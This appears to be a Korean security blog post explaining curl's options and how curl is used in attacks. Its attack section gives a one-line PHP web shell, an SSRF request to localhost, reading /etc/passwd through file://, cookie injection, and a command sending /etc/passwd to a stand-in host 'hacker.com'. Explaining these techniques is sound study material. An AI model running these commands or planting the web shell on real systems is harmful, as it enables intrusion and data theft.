curl

URL로부터 데이터를 전송하거나 받아오는 커맨드라인 툴 입니다.

client URL의 줄임말로 HTTP뿐만 아니라 FTP, SCP, SMTP등 다양한 프로토콜을 지원합니다.

옵션이 다양하고 HTTP 요청의 대부분을 조작 할 수 있기에 보안 관련 테스트나 분석에도 자주 쓰입니다.

 

기본 사용법

curl [option] [URL]

curl http://google.com #예시

 

자주 사용되는 옵션

  • -o <file> : 출력 결과를 파일로 저장합니다.
  • -O : 출력 결과를 URL에서 가져온 파일 이름으로 저장합니다.
  • -X <method> : HTTP 메서드를 지정합니다. (GET, POST, PUT 등)
  • -d <data> : POST 데이터를 전송합니다.
  • -H <header> : 요청 헤더를 지정합니다.
  • -F <form> : multipart/form-data로 폼 데이터를 전송합니다.
  • -T <file> : PUT 방식으로 파일을 업로드합니다.
  • -u <user:pass> : Basic Auth 인증에 사용됩니다.
  • -i : 응답 헤더를 포함시켜서 출력합니다.
  • -s : Silent 모드로 진행합니다. (진행 상태를 숨김)
curl -o index.html https://example.com                 #파일 다운로드 예시
curl -T shell.php https://example.com/upload           #원격 업로드 예시
curl -d "uid=admin&pw=1234" https://example.com/login  #POST 데이터 전송 예시

 

보안 취약점 활용 및 공격 방법

1. 서버사이드 명령어 인젝션

<?php 
	system($_GET["cmd"]); 
?>
  • 위와 같은 위험한 코드를 -o 옵션을 이용하여 서버에 원격으로 다운로드 시키거나 -T 옵션을 통해 PUT 방식으로 업로드 시킬 수 있습니다.

2. SSRF (Server Side Request Forgery)

curl http://127.0.0.1/admin
  • 서버에 내부 네크워크로 HTTP 요청을 시도하게 할 수 있습니다.
  • 이를 통해 내부 관리자 페이지에 접근하거나 메타데이터를 획득할 수 있습니다.

3. 정보 유출

curl -F "file=@/etc/passwd" http://hacker.com/data
  • -F 옵션을 이용하면 서버가 공격자의 서버로 내부 데이터를 유출 시키게 할 수 있습니다.

4. 내부 파일 읽기

curl file:///etc/passwd
  • 만약 file://이 허용되어 있다면 내부 파일도 다운로드 할 수 있습니다.

5. 인증 우회

curl -H "Cookie: session=example123" https://example.com/admin
  • 조작한 헤더나 쿠키 값을 주입하여 세션 하이재킹 등을 시도 할 수 있습니다.

 

'보안 > 이론 정리' 카테고리의 다른 글

웹 해킹 - DOM-based XSS  (0) 2025.08.06
Base64에 대한 여러가지  (0) 2025.07.17
웹 해킹 - Error Based SQL Injection  (0) 2025.07.08
HTTP 요청의 구조와 헤더의 역할  (0) 2025.07.07
웹 해킹 - Command Injection  (0) 2025.04.30

+ Recent posts